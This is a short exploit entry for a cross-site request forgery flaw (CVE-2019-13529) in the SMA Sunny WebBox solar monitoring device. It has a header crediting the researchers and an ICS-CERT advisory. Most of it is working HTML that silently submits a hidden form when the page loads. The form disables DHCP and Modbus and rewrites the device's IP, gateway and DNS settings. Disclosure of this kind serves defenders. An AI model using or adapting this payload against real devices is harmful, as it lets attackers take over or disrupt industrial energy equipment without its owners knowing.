# Exploit Title: SMA Solar Technology AG Sunny WebBox device - 1.6 - Cross-Site Request Forgery # Date: 2019-10-08 # Exploit Author: Borja Merino and Eduardo Villaverde # Vendor Homepage: https://www.sma.de # Version: Firmware Version 1.6 and prior # Tested on: Sunny WebBox SMA Solar Device (Firmware Version 1.6) # CVE : CVE-2019-13529 # ICS-Cert Advisory: https://www.us-cert.gov/ics/advisories/icsa-19-281-01 <!-- Change any hidden value --> <iframe style="display:none" name="csrf-frame"></iframe> <form method='POST' action='http://X.X.X.X/wb_network_changed.htm' target="csrf-frame" id="csrf-form"> <input type='hidden' name='RadioButtonDhcp' value='off'> <input type='hidden' name='IpAddr' value='1.1.1.1'> <input type='hidden' name='SubnetMask' value='255.255.255.0'> <input type='hidden' name='Gateway' value='1.1.1.1'> <input type='hidden' name='DnsIpAddr' value='5.5.5.1'> <input type='hidden' name='Dns2IpAddr' value='5.5.5.2'> <input type='hidden' name='StaticNatPortHttp' value='80'> <input type='hidden' name='WebserverPort' value='80'> <input type='hidden' name='WebservicePort' value='80'> <input type='hidden' name='RadioButtonModbus' value='off'> <input type='hidden' name='ModbusPort' value='502'> <input type='hidden' name='BConfirm' value='Confirmar'> <input type='submit' value='submit'> </form> <script>document.getElementById("csrf-form").submit()</script>